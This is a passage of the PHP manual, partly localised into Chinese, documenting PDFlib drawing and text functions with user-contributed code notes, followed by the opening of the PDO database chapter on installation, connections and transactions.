(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setlinecap -- Sets linecap parameter

Description

bool pdf_setlinecap ( resource pdfdoc, int linecap )

Set the linecap parameter to a value between 0 and 2 inclusive.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setgray | 上一级 | pdf_setlinejoin


pdf_setlinejoin

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setlinejoin -- Sets linejoin parameter

Description

bool pdf_setlinejoin ( resource pdfdoc, int value )

Sets the line join parameter to a value between 0 and 2 inclusive. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
aRichboy at mac dot com
13-Mar-2002 03:01
Where:
0 = Miter join
1 = Round join
2 = Bevel join
add a note add a note

后退 | 起点 | 前进
pdf_setlinecap | 上一级 | pdf_setlinewidth


pdf_setlinewidth

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setlinewidth -- Sets line width

Description

bool pdf_setlinewidth ( resource pdfdoc, float width )

Sets the current linewidth to width. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bob at nijman dot de
02-Aug-2001 08:27
This will draw a simple rectangle...
...with a few extras.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf-stuff");
pdf_begin_page($pdf, 200, 200);

// just a simple rectangle
pdf_setlinewidth($pdf, 5); //make the border of the rectangle a bit wider
pdf_rotate($pdf, 5); //rotate the coordinate system (NOT THE RECTANGLE !!!!!)
pdf_rect($pdf, 100, 100, 50, 50); //draw the rectangle
pdf_stroke($pdf); //stroke the path with the current color(not yet :-)) and line width

//note: the rect is not drawn untill we use pdf_stroke - try it out!!!

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=invoice.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
Great german (!!!) tutorial
add a note add a note

后退 | 起点 | 前进
pdf_setlinejoin | 上一级 | pdf_setmatrix


pdf_setmatrix

(PHP 4 >= 4.0.5, PECL)

pdf_setmatrix -- Sets current transformation matrix

Description

bool pdf_setmatrix ( resource pdfdoc, float a, float b, float c, float d, float e, float f )

Explicitly set the current transformation matrix. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setlinewidth | 上一级 | pdf_setmiterlimit


pdf_setmiterlimit

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setmiterlimit -- Sets miter limit

Description

bool pdf_setmiterlimit ( resource pdfdoc, float miter )

Set the miter limit to a value greater than or equal to 1. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setmatrix | 上一级 | pdf_setpolydash


pdf_setpolydash

(PHP 4 >= 4.0.5, PECL)

pdf_setpolydash -- Deprecated: Sets complicated dash pattern

Description

This function is deprecated, use pdf_setdash() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setmiterlimit | 上一级 | pdf_setrgbcolor_fill


pdf_setrgbcolor_fill

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setrgbcolor_fill -- Sets filling color to rgb color value

Description

bool pdf_setrgbcolor_fill ( resource pdfdoc, float red_value, float green_value, float blue_value )

Set the current fill color to the supplied RGB values. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
philipp dot maske at location-bretagne dot de
13-Jun-2003 09:33
It took some time to understand, that the float values have to be beetween beetween 0 and 1. If you use graphic tools like color-pickers etc. it is necessary to convert the RGB values frome the scale of 1 to 255 to 0 to 1.

Use this small function to make your life easier:

function pdf_setrgbcolor_fill_better($intPdfObj, $intRed, $intGreen, $intBlue) {
  if($intRed<=0||$intRed>255|| $intGreen<=0|| $intGreen>255|| $intBlue<=0|| $intBlue>255) return false;

  $floatRed        = $intRed/255;
  $floatGreen      = $intGreen/255;
  $floatBlue      = $intBlue/255;

  return pdf_setrgbcolor_fill ($intPdfObj, $floatRed, $floatGreen, $floatBlue);
  }

Have Fun!
Philipp
--
Mail:  philipp.maske@location-bretagne.de
WWW: http://www.location-bretagne.de
maske at chiquadrat dot de
02-Nov-2001 11:16
the double values for each RGB color start at '0' and end at '1'. So use e.g. pdf_setrgbcolor_fill(int pdf_document,1,1,1) for white, pdf_setrgbcolor_fill(int pdf_document,0,0,0) for black or something in between for a mixed color.
add a note add a note

后退 | 起点 | 前进
pdf_setpolydash | 上一级 | pdf_setrgbcolor_stroke


pdf_setrgbcolor_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setrgbcolor_stroke -- Sets drawing color to rgb color value

Description

bool pdf_setrgbcolor_stroke ( resource pdfdoc, float red_value, float green_value, float blue_value )

Set the current stroke color to the supplied RGB values. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_setrgbcolor_fill | 上一级 | pdf_setrgbcolor


pdf_setrgbcolor

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_setrgbcolor -- Sets drawing and filling color to rgb color value

Description

bool pdf_setrgbcolor ( resource pdfdoc, float red_value, float green_value, float blue_value )

Set the current fill and stroke color to the supplied RGB values. 如果成功则返回 TRUE，失败则返回 FALSE。

注: PDFlib V4.0: Deprecated, use pdf_setcolor() instead.

add a note add a note User Contributed Notes
n dot gaertner at gmx dot net
09-Jul-2001 08:19
<b>Use this code to convert HEX colors to RGB that you can use with pdf_setrgbcolor:</b>
<?
$color = "#FF00FF";
$string = str_replace("#","",$color);
$red = hexdec(substr($string,0,2)) / 255;
$green = hexdec(substr($string,2,2)) / 255;
$blue = hexdec(substr($string,4,2)) / 255;
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, $red, $green, $blue);
pdf_fill($pdf);
?>

This gives you a pink rectangle!
skuenzli at u dot arizona dot edu
27-Apr-2000 03:17
/*
*pdf_setrgbcolor(pdf_file, float red, float green, float blue);
*red/green/blue are values between 0 and 1.
*It appears that the value is supposed to be a percentage intensity.
*0.0 means a 0% intensity for that color (0 in RGB-scale)
*0.5 means a 50% intensity of that color (127 in RGB-scale)
*1.0 means a 100% intensity of that color (255 in RGB-scale)
*/
Here is a snippet of code to create a blue rectangle:
<pre>
//Create blue rectangle
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, 0, 0, 1.0);
pdf_fill($pdf);
</pre>
add a note add a note

后退 | 起点 | 前进
pdf_setrgbcolor_stroke | 上一级 | pdf_show_boxed


pdf_show_boxed

(PHP 4, PECL)

pdf_show_boxed -- Output text in a box

Description

int pdf_show_boxed ( resource pdfdoc, string text, float left, float top, float width, float height, string mode, string feature )

Format text in the current font and size into the supplied text box according to the requested formatting mode, which must be one of left, right, center, justify or fulljustify. If width and height are 0, only a single line is placed at the point (left, top) in the requested mode. Parameter feature is optional before PHP 4.3.5 or with PDFlib less than 5.

Returns the number of characters that did not fit in the specified box. Returns 0 if all characters fit or the width and height parameters were set to 0 for single-line formatting.

add a note add a note User Contributed Notes
james at lightbox dot org
14-Dec-2004 03:51
I'm using the following libpdf versions:
   PDFlib GmbH Version  6.0.1
   PECL Version  2.0.3

I found the parameter 'top' to be misleading.  Since 0,0 is in the bottom left of the page, the top parameter is actually the bottom left corner of the box you want.

using
     top=72
     left=72
puts the bottom left corner of the box 1 inch in from the left, and 1 inch up from the bottom.

so to make a 6.5"x3" box (with 1" page margins) at the BOTTOM of the page, you would use:
  top=72
  left=72
  width=468
  height=216

The text would then start in the top-left corner of the defined box, which would be at (72,288)  (in 1" from the left and up 4" from the bottom)
asmodai at wxs dot nl
05-Nov-2004 07:21
For those who are as confused as I was (still am in small parts):

mode can be at least: left, right, center, justify
feature: if specified as "" will immediately display the desired text, if specified as "blind" will hide the text

This had me stumped for a while.
phict4 at hotmail dot com
30-Oct-2004 09:45
With PHP5 the feature parameter is required, set this to null or false to produce the same result as without the parameter in versions previous to 5.
flyingman15 at yahoooo point fr
23-Sep-2004 08:01
Little improve from what bob at nijman dot de said :

$text = "Rduire le dficit de l'tat, voil bien l'ambition annonce de Nicolas Sarkozy. Pour son unique budget, le mdiatique patron des finances franaises estime avoir rempli son pari. Mais  quel prix ? Ce projet de loi de finances oublie la promesse prsidentielle de baisser l'impt sur le revenu et la pression fiscale sur les mnages augmente.Face aux nombreux journalistes, le bouillonnant Sarkozy dfend son bb. Un premier n, bientt orphelin d'un pre qui s'en va prendre, en novembre, la tte de l'UMP.";

$line_width = 300.0;
$line_height = 20.0;
$x = 10.0;
$y = 230.0;

$nr = pdf_show_boxed($pdf, $text, $x, $y, $line_width, $line_height, "left");
$y = $y - $line_height;

while($nr > 0){
$nr = pdf_show_boxed($pdf, $nr.substr($text, -$nr), $x, $y, $line_width , $line_height, "left");
$y = $y - $line_height;
}

Quite usefull....for me at least, so if that can help anybody else...
sebastien at galliot dot com
26-Jun-2004 06:27
easier than pdf_show_boxed ()  !
to center text in a box :

<?

pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50");
?>

You can also fit text proportionnally in the box  :

<?
pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50 fitmethod meet");
?>

See Pdflib documentation for other text placement functions
(4.8.2 Placing Text in a Box in the Pdf documentation)
hackajar matt yahoo trott com
11-Feb-2004 01:12
Sometimes using pdf_show_boxed() is no help at all, such as in a parser, where you have html tags to mangle text with.  Example:

pdf_show_boxed() with text tokens and html tags will look like this:

_____________________
| ------------------ |
|| text_box1  ||box| |
| ------------    2| |
|              ----  |
|                    |
|    A PDF PAGE      |
|____________________|
box 2 is where you changed to bold or italic in mid sentance, and now it moves down to next line, but at $x cor, or if your not using pdf_show_boxed ; but pdf_show_xy, it will trail into your right-margin or worse off the page

Solution:  Use a word chuck loop

//Get space left to end of page
$space = (612-$right_margin);
//Get total length of text string
$length = pdf_stringwidth($pdf, $text);
//Check to see if there is enough space just
//to dump text to page
if($length > $space) {
     //Start a parser
     $count = strlen($text);
     for($i=o; $i<$count;) {
         //Get the first word in text string
         for($e=$i; $e<$count && substr($text, $e, 1)!=" "; $e++);
         //Put that word into a string (don't forget to +1
         //for the space we used at stopping marker
         $string = substr($text, $i, ($e-$i)+1);
         //Now get the length of THAT text string
         $length = pdf_stringwidth($pdf, $string);
         if($length < $space) {
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               //Because this routine gets cycled everytime
               //you send text to it, make sure you update
               //how much space is left on the line
               $space = (612-36)-$x;
           } else {
               //Move down one line as there is no space
               //left, note that I use "2" as my padding, yours
               //may vary
               $y = $y - ($fontsize +2);
               $x = $left_margin;
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               $space = (612-36)-$x;
           }
           //Move the loop counter to end of this word +
           //the space we used as stop marker
           $i=$e+1;
     }
} else {
     if($center == "1") {
         pdf_show_boxed($pdf, $text, 0, $y, 612, $fontsize, "center");
     } else {
         pdf_show_xy($pdf, $text, $x, $y);
     }
     $x = $x + $length;
}

This is a part of a function I use, so it may look a little mangled, great for a starting point though.
matt at unixhead withoutspam dot org
04-Feb-2003 09:12
note if you would rather resize the font than the textbox on the PDF you produce (i.e. if you need a set layout) you could do something like:

while (pdf_show_boxed($pdfdoc, $txt, 220, 100, 180, 250, "left", "blind") > 1) {
   $font--;
   pdf_set_font($pdfdoc, "Courier", $font, "host");
}
pdf_show_boxed($pdfdoc,$txt,220,100,180,250,"left");

This will keep downsizing the font until all the text fits in the box you specify.
bloecherATgmxDOTde
15-Aug-2002 07:37
better use pdf_get_value($p, 'leading') for calculating the height of your textbox, coz 'fontsize' might be a little to small as it's not the distance between the baselines =)
[see pdflib-manual, table 4.7]
kinneko at whopper dot de
16-Jul-2002 08:14
If you have newlines in your data ("\n") a following PDF_get_value($pdf, "texty") may not return the positon of the last char that is displayed.
ceo at l-i-e dot com
18-Feb-2002 05:00
D'oh!

Ignore previous note.

There were newlines in my data. :-(
So a box only one line tall would fit any characters.

So the "Gotcha" is that embedded new-lines can make pdf_show_boxed incapable of drawing *any* of your text in a one-line tall box.
ceo at l-i-e dot com
18-Feb-2002 09:07
It might be because my font files are corrupted, and I'm using setfont... 'host', 0
but it seems like sometimes pdf_draw_boxed can't draw *ANY* characters of perfectly normal text.
The words at the beginning of the text are certainly capable of fitting.

It works fine for some strings, and not for others.

Hard to say if it's really a bug or not, and yes, I'll file a bug report, but in the meantime, one has to be careful of not creating an infinite loop trying to draw the same impossible text over and over.

If the number of characters not drawn (return value of pdf_show_boxed) is equal to the length of the string you tried to draw, GAME OVER.
Jochen dot Riehm at teilauto dot net
10-Jan-2002 03:50
It should be noted that creating a "blind" text box and using the texty value does not work since it is (as correctly mentioned in the manual) not changed by "blind" boxes
06-Dec-2001 09:29
Some improvement on leea@digitus.com.au code to get
a dynamic text box. This first compute a minimum height:

$fontsize = pdf_get_value($pdf,'fontsize');
$length = pdf_stringwidth($pdf,$text);
$textHeight = ceil($length/$width)*$fontsize;

while(pdf_show_boxed($pdf,$text, $left,$top,$width,$textHeight,$h_align,'blind') > 1)
$textHeight += $fontsize;

pdf_show_boxed($pdf,$text,$left,$top,$width,$textHeight,$h_align);

Ivan
lofino at caramail dot com
30-Oct-2001 02:21
IT_KTS < I thought it wasn't important, but I had this fatal error :  Fatal error: PDFlib error: floating point value too large in pdf_ftoa

After looking for the reasons of this fatal error, I've finally found how it comes :

- you have to have only one word
- this word has to be too long for the box
- you have to be in justify mode

If you meet this fatal error, jump into the "left" mode, or split your word/sentence.
IT_KTS at PHISL dot NET
06-Sep-2001 06:47
pdf_show_boxed only works with 2 or more words not one word... try it people..
bob at nijman dot de
02-Aug-2001 10:10
In the example given above we don't handle the overflow properly.
Try making the text shorter and see what happens.
Try making it longer too...
bob at nijman dot de
02-Aug-2001 10:05
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

pdf_set_font($pdf, "Helvetica", 10, "host");

//for most german will be as good as latin, no? :-)
$text = <<<EOD
Unsere Konzepte sind innovativ und kreativ.
Sie orientieren sich am Zeitgeist, ohne sich diesem auszuliefern.
So auch unsere Arbeitsweise.
Fr verschiedene Arbeitsmodule werden freie Mitarbeiter herangezogen,
damit wir absolute Flexibilitt behalten und messerscharf kalkulieren knnen.
Die volle Verantwortung liegt damit beim Projektleiter.
Er vergibt Arbeitsmodule, begutachtet deren Werdegang und letztendlich deren Zusammenwachsen.
EOD;

$nr = pdf_show_boxed($pdf, $text, 10.0, 180.0, 140.0, 100.0, "left");
$nr = pdf_show_boxed($pdf, substr($text, -$nr), 150.0, 180.0, 140.0, 100.0, "left");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
leea at digitus dot com dot au
31-Jan-2001 09:41
Here's a way to make a dynamic size text box for text coming from a database
$TextHeight = 10;
while ((pdf_show_boxed($pdf,$rstJobs["JobDetails"], 123, $varPosition, 308,$TextHeight,left,blind)) > 1)
{
   $TextHeight = $TextHeight + 10;
}
pdf_show_boxed ($pdf, $rstJobs["JobDetails"], 123, $varPosition - $TextHeight + 10, 308,$TextHeight,left);
You will need to change the value of 10 to your font size.

this may not be the best way to do this so if you find a better way add it here!
add a note add a note

后退 | 起点 | 前进
pdf_setrgbcolor | 上一级 | pdf_show_xy


pdf_show_xy

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_show_xy -- Output text at given position

Description

bool pdf_show_xy ( resource pdfdoc, string text, float x, float y )

Print text in the current font at ( x, y). 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
Christopher Jastram <cej at intech dot com>
12-Dec-2005 04:52
Here's a little function that creates a pdf_show_xy_right() function with exactly the same parameters as pdf_show_xy(), except that the third parameter now specifies the right-aligned edge position.

function pdf_show_xy_right(&$pdf, $text, $right, $bottom) {
   $fontname = pdf_get_parameter($pdf, "fontname", 0);
   $font = pdf_findfont($pdf, $fontname, "host", 0);
   $size = pdf_get_value($pdf, "fontsize", 0);
   $width = pdf_stringwidth($pdf, $text, $font, $size);
   pdf_show_xy($pdf, $text, $right-$width, $bottom);
}

Set your font name and size separately, just as you would with pdf_show_xy(), and then call this function like so:

pdf_show_xy_right($pdf, "Hello World", 50, 200);

The third parameter is the right edge, fourth parameter is the baseline.  You do NOT have to pass in the font and size!
sigve at NwOoSlPfArMaidah dot no
01-Oct-2004 10:21
Want to do right-to-left text with pdflib? Just pick the right margin, and send it as $x to this function.

<?php
function pdf_show_xy_backwards ($pdf, $text, $font, $size, $x, $y) {
   $currx = $x;
   for ($i = strlen($text); $i > 0; $i--) {
       $char = substr((string)$text, $i-1, 1);
       $width = pdf_stringwidth($pdf, (string)$char, $font, $size);
       $currx = $currx - $width;
       pdf_show_xy($pdf, (string)$char, $currx, $y);
   }
}
?>
DrPsycho at easynet dot be
07-Dec-2002 01:41
No, that's just because in PDF the origin is at the lower left corner
nid at home dot se
02-Oct-2002 05:26
When using PDFLib version 4.0.3 under PHP 4.2.1 on Windows the Y-position is reversed, which means, the Y is the number of pixels that should be visible BELOW the texts baseline.
add a note add a note

后退 | 起点 | 前进
pdf_show_boxed | 上一级 | pdf_show


pdf_show

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_show -- Output text at current position

Description

bool pdf_show ( resource pdfdoc, string text )

Print text in the current font and size at the current position. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_show_xy | 上一级 | pdf_skew


pdf_skew

(PHP 4, PECL)

pdf_skew -- Skews the coordinate system

Description

bool pdf_skew ( resource pdfdoc, float alpha, float beta )

Skew the coordinate system in x and y direction by alpha and beta degrees. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_show | 上一级 | pdf_stringwidth


pdf_stringwidth

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_stringwidth -- Returns width of text using current font

Description

float pdf_stringwidth ( resource pdfdoc, string text, int font, float size )

Returns the width of text using the parameters font and size. Please note that font is a font handle returned by pdf_findfont(). Parameters font and size are optional before PHP 4.3.5 or with PDFlib less than 5. If they are not specified, the font set by pdf_setfont() is used.

注: Both the font and size parameters must be used together.

See also pdf_setfont() and pdf_findfont().

add a note add a note User Contributed Notes
rross at mNoOoSnPsAoMfvega dot com
10-Nov-2005 08:27
One thing I came across, and hope is useful to someone, is the following.
If you're looking to use the pdf_stringwidth() function, and expecting it to give you the proper results when trying to center or position the text, try to avoid using this line in your code:

<?
   pdf_set_parameter($pdf, "textformat", "utf8");
?>

I discovered (after much hair-pulling of what remains of my hair) that this line of code increases the amount of space between characters by roughly 100%.  Removing this line of code made the text on my generated PDF's significantly tighter and more appealing.
smilingrasta FROM gmx dot net
20-Jul-2005 12:42
With upgrading to PHP5, i had to switch to a newer version of pdflib (v6), where some functions slightly differ from the old version(v5).

The new parameters for this function are:
<?php float PDF_stringwidth(PDF *p, const char *text, int font, float size); ?>

pdf_stringwidth() does only take 2 parameters in the old version.
Now 5 parameters are required. As they aren't listed here, i thought i could do that :>

<?php
# first, we have to find the font, we are using
$fontID = pdf_findfont($pdf, 'Courier', 'host', 0);
# then we can call pdf_stringwidth
$width = pdf_stringwidth($pdf,$string, $fontID, $fontsize));
?>

Maybe that helps someone out.
farzal at hotmail dot com
27-Jul-2001 08:51
with font COURIER and fontsize of 12, you can print 10 CPI (Characters per inch) or 1 character every 7.2 points.

This means, on an A4 page of size (595,842), with a printable area of (451,662) after leaving 1" blank on each side, one can print 451/7.2 ~= 62 characters.

If one is building tables after quering databases, this is a way to figure out if you can print all your columns in a page, or if you need to use landscape, or if you need to reduce the font size.
add a note add a note

后退 | 起点 | 前进
pdf_skew | 上一级 | pdf_stroke


pdf_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_stroke -- Draws line along path

Description

bool pdf_stroke ( resource pdfdoc )

Stroke the path with the current color and line width, and clear it. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bob at nijman dot de
02-Aug-2001 08:25
This will draw a simple rectangle...
...with a few extras.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf-stuff");
pdf_begin_page($pdf, 200, 200);

// just a simple rectangle
pdf_setlinewidth($pdf, 5); //make the border of the rectangle a bit wider
pdf_rotate($pdf, 5); //rotate the coordinate system (NOT THE RECTANGLE !!!!!)
pdf_rect($pdf, 100, 100, 50, 50); //draw the rectangle
pdf_stroke($pdf); //stroke the path with the current color(not yet :-)) and line width

//note: the rect is not drawn untill we use pdf_stroke - try it out!!!

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=invoice.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
Great german (!!!) tutorial
add a note add a note

后退 | 起点 | 前进
pdf_stringwidth | 上一级 | pdf_translate


pdf_translate

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_translate -- Sets origin of coordinate system

Description

bool pdf_translate ( resource pdfdoc, float tx, float ty )

Translate the origin of the coordinate system.

add a note add a note User Contributed Notes
php at mijav dot dk
14-Apr-2005 05:29
Note that this function does NOT eliminate the need for reverse-thinking when designing PDFs.

Origin 0, 0 is the lower left corner. This function only MOVES this origin (0,0) - it does not reverse the Y-axis as some people might belive and want (including myself).
david at mubo dot nl
27-Jul-2001 06:36
Not only this function is useful if you are tired of using the lowerleft side of the page, but it is also great if you need to rotate your page..

I have a project in which I need to rotate the page 180 due to calibration problems.. With this function I could reset the origin and the rest of the PDF worked just fine..

I also think that this function primarly has been mode for situations like these...

This function can also be used as a calibration feature, though I dont do it myself, I can think that it will work very nice if your whole document is out of calibration for lets say 1 mm..
hazelnutlatte at hotmail dot com
08-Jan-2001 06:13
This function is useful if you're tired of trying to deal with an axis that has a point of origin in the lower left-hand corner of the page.  Enjoy.
add a note add a note

后退 | 起点 | 前进
pdf_stroke | 上一级 | PDO Functions


PDO Functions

PHP 手册
后退 前进

CVI. PDO Functions

简介

The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for accessing databases in PHP. Each database driver that implements the PDO interface can expose database-specific features as regular extension functions. Note that you cannot perform any database functions using the PDO extension by itself; you must use a database-specific PDO driver to access a database server.

PDO provides a data-access abstraction layer, which means that, regardless of which database you're using, you use the same functions to issue queries and fetch data. PDO does not provide a database abstraction; it doesn't rewrite SQL or emulate missing features. You should use a full-blown abstraction layer if you need that facility.

PDO ships with PHP 5.1, and is available as a PECL extension for PHP 5.0; PDO requires the new OO features in the core of PHP 5, and so will not run with earlier versions of PHP.

安装

PHP 5.1 and up on Unix systems

  1. If you're running a PHP 5.1 release, PDO is included in the distribution; it will be automatically enabled when you run configure. It is recommended that you build PDO as a shared extension, as this will allow you to take advantage of updates that are made available via PECL. The recommended configure line for building PHP with PDO support should enable zlib support (for the pear installer) as well. You may also need to enable the PDO driver for your database of choice; consult the documentation for database-specific PDO drivers to find out more about that.
    ./configure --with-zlib --enable-pdo=shared

  2. After installing PDO as a shared module, you must edit your php.ini file so that the PDO extension will be loaded automatically when PHP runs. You will also need to enable any database specific drivers there too; make sure that they are listed after the pdo.so line, as PDO must be initialized before the database specific extensions can be loaded. If you built the extensions statically, you can skip this step.
    extension=pdo.so

  3. Having PDO as a shared module will allow you to run pear upgrade pdo as new versions of PDO are published, without forcing you to rebuild the whole of PHP. Note that if you do this, you also need to upgrade your database specific PDO drivers at the same time.

PHP 5.0 and up on Unix systems

  1. PDO is available as a PECL extension from http://pecl.php.net/package/pdo. Installation can be performed via the pear tool; this is enabled by default when you configure PHP. You should ensure that PHP was configured --with-zlib in order for pear to be able to handle the compressed package files.

  2. Run the following command to download, build, and install the latest stable version of PDO:
    pear install pdo

  3. If PDO is still in beta (and at the time of writing, it is), you will need to tell the pear tool that it's ok to fetch the beta package. Instead of running the command above, run the following:
    pear install pdo-beta

  4. The pear command automatically installs the PDO module into your PHP extensions directory. To enable the PDO extension on Linux or Unix operating systems, you must add the following line to php.ini:
    extension=pdo.so

    For more information about building PECL packages, consult the PECL installation section of the manual.

Windows users running PHP 5.1 and up

  1. PDO and all the major drivers ship with PHP as shared extensions, and simply need to be activated by editing the php.ini file:
    extension=php_pdo.dll

  2. Next, choose the other DB specific DLL files and either use dl() to load them at runtime, or enable them in php.ini below php_pdo.dll. For example:
    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    These DLLs should exist in the system's extension_dir.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. PDO Configuration Options

Name | Default | Changeable | Changelog
pdo.dsn.* |  | php.ini only |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

pdo.dsn.* string

Defines DSN alias. See PDO::__construct for thorough explanation.

PDO Drivers

The following drivers currently implement the PDO interface:

Driver name | Supported databases
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird/Interbase 6
PDO_MYSQL | MySQL 3.x/4.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3 (IBM DB2, unixODBC and win32 ODBC)
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 and SQLite 2

Connections and Connection management

Connections are established by creating instances of the PDO base class. It doesn't matter which driver you want to use; you always use the PDO class name. The constructor accepts parameters for specifying the database source (known as the DSN) and optionally for the username and password (if any).

例子 1. Connecting to mysql

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

If there are any connection errors, a PDOException object will be thrown. You may catch the exception if you want to handle the error condition, or you may opt to leave it for an application global exception handler that you set up via set_exception_handler().

例子 2. Handling connection errors

<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
   foreach ($dbh->query('SELECT * from FOO') as $row) {
      print_r($row);
   }
   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>

Upon successful connection to the database, an instance of the PDO class is returned to your script. The connection remains active for the lifetime of that PDO object. To close the connection, you need to destroy the object by ensuring that all remaining references to it are deleted--you do this by assigning NULL to the variable that holds the object. If you don't do this explicitly, PHP will automatically close the connection when your script ends.

例子 3. Closing a connection

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// use the connection here

// and now we're done; close it
$dbh = null;
?>

Many web applications will benefit from making persistent connections to database servers. Persistent connections are not closed at the end of the script, but are cached and re-used when another script requests a connection using the same credentials. The persistent connection cache allows you to avoid the overhead of establishing a new connection every time a script needs to talk to a database, resulting in a faster web application.

例子 4. Persistent connections

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
  PDO_ATTR_PERSISTENT => true
));

注: If you're using the PDO ODBC driver and your ODBC libraries support ODBC Connection Pooling (unixODBC and Windows are two that do; there may be more), then it's recommended that you don't use persistent PDO connections, and instead leave the connection caching to the ODBC Connection Pooling layer. The ODBC Connection Pool is shared with other modules in the process; if PDO is told to cache the connection, then that connection would never be returned to the ODBC connection pool, resulting in additional connections being created to service those other modules.

Transactions and auto-commit

Now that you're connected via PDO, you should to understand how PDO manages transactions before you start issuing queries. If you've never encountered transactions before, they offer 4 major features: Atomicity, Consistency, Isolation and Durability (ACID). In layman's terms, any work carried out in a transaction, even if it is carried out in stages, is guaranteed to be applied to the database safely, and without interference from other connections, when it is committed. Transactional work can also be automatically undone at your request (provided you haven't already committed it), which makes error handling in your scripts easier.

Transactions are typically implemented by "saving-up" your batch of changes to be applied all at once; this has the nice side effect of drastically improving the efficiency of those updates. In other words, transactions can make your scripts faster and potentially more robust (you still need to use them correctly to reap that benefit).

Unfortunately, not every database supports transactions, so PDO needs to run in what is known as "auto-commit" mode when you first open the connection. Auto-commit mode means that every query that you run has its own implicit transaction, if the database supports it, or no transaction if the database doesn't support transactions. If you need a transaction, you must use the PDO::beginTransaction() method to initiate one. If the underlying driver does not support transactions, a PDOException will be thrown (regardless of your error handling settings: this is always a serious error condition). Once you are in a transaction, you may use PDO::commit() or PDO::rollBack() to finish it, depending on the success of the code you run during the transaction.

